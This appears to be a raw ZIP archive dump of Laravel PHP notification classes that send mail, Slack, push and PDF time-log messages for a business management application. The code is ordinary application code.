Notifications/NewUserSlack.phpnu �[��� <?php namespace App\Notifications; use App\Models\EmailNotificationSetting; use App\Models\User; class NewUserSlack extends BaseNotification { /** * Create a new notification instance. * * @return void */ private $emailSetting; public function __construct(User $user) { $this->company = $user->company; // When there is company of user. if ($this->company) { $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'user-registrationadded-by-admin')->first(); } } /** * Get the notification's delivery channels. *t('mail::layout') * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } return $via; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return $notifiable->toArray(); } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { try { $url = route('login'); $url = getDomainSpecificUrl($url, $this->company); $content = '*' . __('email.newUser.subject') . ' ' . config('app.name') . '!*' . "\n" . __('email.newUser.text'); $url = "\n" . '<' . $url . '|' . __('email.newUser.action') . '>'; return $this->slackBuild($notifiable)->content($content . $url); } catch (\Exception $e) { return $this->slackRedirectMessage('email.newUser.subject', $notifiable); } } } PK ���Z�N� � # Notifications/TaskUpdatedClient.phpnu �[��� <?php namespace App\Notifications; use App\Models\EmailNotificationSetting; use App\Models\Task; class TaskUpdatedClient extends BaseNotification { /** * Create a new notification instance. * * @return void */ private $task; private $emailSetting; public function __construct(Task $task) { $this->task = $task; $this->emailSetting = EmailNotificationSetting::userAssignTask(); $this->company = $this->task->company; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('tasks.show', $this->task->id); $url = getDomainSpecificUrl($url, $this->company); $content = $this->task->heading . ' ' . __('email.taskUpdate.subject') . '.'; $build ->subject(__('email.taskUpdate.subject') . ' - ' . config('app.name') . '.') ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.taskUpdate.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @return array */ public function toArray() { return [ 'id' => $this->task->id, 'updated_at' => $this->task->updated_at->format('Y-m-d H:i:s'), 'created_at' => $this->task->created_at->format('Y-m-d H:i:s'), 'heading' => $this->task->heading ]; } } PK ���Zw��z Notifications/EventInvite.phpnu �[��� <?php namespace App\Notifications; use App\Models\Event; use App\Models\EmailNotificationSetting; class EventInvite extends BaseNotification { /** * Create a new notification instance. * * @return void */ private $event; private $emailSetting; public function __construct(Event $event) { $this->event = $event; $this->company = $this->event->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'event-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.newEvent.subject'), $this->event->event_name); } return $via; } /** * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage * @throws \Exception */ public function toMail($notifiable) { $eventInvite = parent::build($notifiable); $vCalendar = new \Eluceo\iCal\Component\Calendar('www.example.com'); $vEvent = new \Eluceo\iCal\Component\Event(); $vEvent ->setDtStart(new \DateTime($this->event->start_date_time)) ->setDtEnd(new \DateTime($this->event->end_date_time)) ->setNoTime(true) ->setSummary($this->event->event_name); $vCalendar->addComponent($vEvent); $vFile = $vCalendar->render(); $url = route('events.show', $this->event->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.newEvent.text') . '<br><br><strong>' . __('modules.events.eventName') . ': <strong>' . $this->event->event_name . '<strong><br>' . __('modules.events.startOn') . ': ' . $this->event->start_date_time->translatedFormat($this->company->date_format . ' - ' . $this->company->time_format) . '<br>' . __('modules.events.endOn') . ': ' . $this->event->end_date_time->translatedFormat($this->company->date_format . ' - ' . $this->company->time_format) . '<br>' . __('app.location') . ': <strong>' . $this->event->where . '<strong>'; $eventInvite->subject(__('email.newEvent.subject') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.newEvent.action'), 'notifiableName' => $notifiable->name ]); $eventInvite->attachData($vFile, 'cal.ics', [ 'mime' => 'text/calendar', ]); return $eventInvite; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->event->id, 'start_date_time' => $this->event->start_date_time->format('Y-m-d H:i:s'), 'event_name' => $this->event->event_name ]; } public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content(__('email.newEvent.subject') . "\n" . __('modules.events.eventName') . ': ' . $this->event->event_name . "\n" . __('modules.events.startOn') . ': ' . $this->event->start_date_time->format($this->company->date_format . ' - ' . $this->company->time_format) . "\n" . __('modules.events.endOn') . ': ' . $this->event->end_date_time->format($this->company->date_format . ' - ' . $this->company->time_format)); } } PK ���Zj��_X X + Notifications/NewProductPurchaseRequest.phpnu �[��� <?php namespace App\Notifications; use App\Models\EmailNotificationSetting; use App\Models\Invoice; use NotificationChannels\OneSignal\OneSignalChannel; use NotificationChannels\OneSignal\OneSignalMessage; class NewProductPurchaseRequest extends BaseNotification { /** * Create a new notification instance. * * @return void */ private $invoice; private $emailSetting; public function __construct(Invoice $invoice) { $this->invoice = $invoice; $this->company = $this->invoice->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'new-product-purchase-request')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.productPurchase.subject'), __('email.productPurchase.text') . ' ' . $this->invoice->client->name . '.'); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('invoices.show', $this->invoice->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.productPurchase.subject') . '<br>' . __('email.productPurchase.text') . ' ' . $this->invoice->client->name . '.'; $build ->subject(__('email.productPurchase.subject') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.productPurchase.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return $this->invoice->toArray(); } //phpcs:ignore public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content(__('email.productPurchase.subject') . "\n" . __('email.productPurchase.text') . ' ' . $this->invoice->client->name . '.'); } //phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.productPurchase.subject')) ->setBody('by ' . $this->invoice->client->name); } } PK ���ZK��0A A Notifications/NewHoliday.phpnu �[��� <?php namespace App\Notifications; use App\Models\Holiday; use App\Models\EmailNotificationSetting; class NewHoliday extends BaseNotification { /** * Create a new notification instance. * * @return void */ private $holiday; private $emailSetting; public function __construct(Holiday $holiday) { $this->holiday = $holiday; $this->company = $this->holiday->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id) ->where('slug', 'holiday-notification') ->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.holidays.subject'), $this->holiday->occassion); } return $via; } /** * @param mixed $notifiable * @return MailMessage * @throws \Exception */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('holidays.show', $this->holiday->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.holidays.text') . '<br><br>' . __('app.occassion') . ': <strong>' . $this->holiday->occassion . '</strong><br>' . __('app.date') . ': <strong>' . $this->holiday->date->translatedFormat($this->company->date_format) . '</strong>'; $build->subject(__('email.holidays.subject') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.leaves.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->holiday->id, 'holiday_date' => $this->holiday->date->format('Y-m-d H:i:s'), 'holiday_name' => $this->holiday->occassion ]; } public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content(__('email.holidays.subject') . "\n" . $notifiable->name . "\n" . '*' . __('app.date') . '*: ' . $this->holiday->date->format($this->company->date_format) . "\n" . __('modules.holiday.occasion') . ': ' . $this->holiday->occassion); } } PK ���Zu�� � $ Notifications/DailyTimeLogReport.phpnu �[��� <?php namespace App\Notifications; use App\Models\User; use Illuminate\Bus\Queueable; use Illuminate\Mail\Mailables\Attachment; use Illuminate\Notifications\Messages\MailMessage; use Carbon\Carbon; use Illuminate\Support\Facades\App; class DailyTimeLogReport extends BaseNotification { use Queueable; /** * Create a new notification instance. */ private $user; public $todayDate; public $role; public function __construct(User $user, $role) { $this->user = $user; $this->role = $role; $this->company = $this->user->company; $this->todayDate = Carbon::now()->toDateString(); } /** * Get the notification's delivery channels. * * @return array<int, string> */ public function via(object $notifiable): array { return ['mail']; } public function attachments() { return [ Attachment::fromData(fn() => $this->domPdfObjectForDownload()['pdf']->output(), 'TimeLog-Report-' . $this->todayDate . '.pdf') ->withMime('application/pdf'), ]; } public function domPdfObjectForDownload() { $company = $this->company; $employees = User::select('users.id', 'users.name') ->with(['timeLogs' => function ($query) use ($company) { $query->whereRaw('DATE(start_time) = ?', [$this->todayDate]); $query->where('company_id', $company->id); }, 'timeLogs.breaks']) ->when($this->role->name != 'admin', function ($query) { $query->where('users.id', $this->user->id); }) ->join('role_user', 'role_user.user_id', '=', 'users.id') ->join('roles', 'roles.id', '=', 'role_user.role_id')->onlyEmployee() ->where('roles.company_id', $company->id) ->groupBy('users.id'); $employees = $employees->get(); $employeeData = []; foreach ($employees as $employee) { $employeeData[$employee->name] = []; $employeeData[$employee->name]['timelog'] = 0; $employeeData[$employee->name]['timelogBreaks'] = 0; if (count($employee->timeLogs) > 0) { foreach ($employee->timeLogs as $timeLog) { $employeeData[$employee->name]['timelog'] += $timeLog->total_minutes; if (count($timeLog->breaks) > 0) { foreach ($timeLog->breaks as $timeLogBreak) { $employeeData[$employee->name]['timelogBreaks'] += $timeLogBreak->total_minutes; } } } } } $now = $this->todayDate; $requestedDate = $now; $pdf = app('dompdf.wrapper')->setPaper('A4', 'landscape'); $options = $pdf->getOptions(); $options->set(array('enable_php' => true)); $pdf->getDomPDF()->setOptions($options); /** @phpstan-ignore-line */ $pdf->loadView('timelog-report', ['employees' => $employeeData, 'date' => $now, 'company' => $company]); $filename = 'timelog-report'; return [ 'pdf' => $pdf, 'fileName' => $filename ]; } /** * Get the mail representation of the notification. */ public function toMail(object $notifiable): MailMessage { $build = parent::build($notifiable); $pdfOption = $this->domPdfObjectForDownload(); $pdf = $pdfOption['pdf']; $filename = $pdfOption['fileName']; $build->attachData($pdf->output(), $filename . '.pdf'); App::setLocale($notifiable->locale ?? $this->company->locale ?? 'en'); $build->subject(__('email.dailyTimelogReport.subject') . ' ' . $this->todayDate) ->markdown('mail.timelog.timelog-report', ['date' => $this->todayDate, 'name' => $this->user->name]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @return array<string, mixed> */ public function toArray(object $notifiable): array { return [ // ]; } } PK ���Z��䉀 � &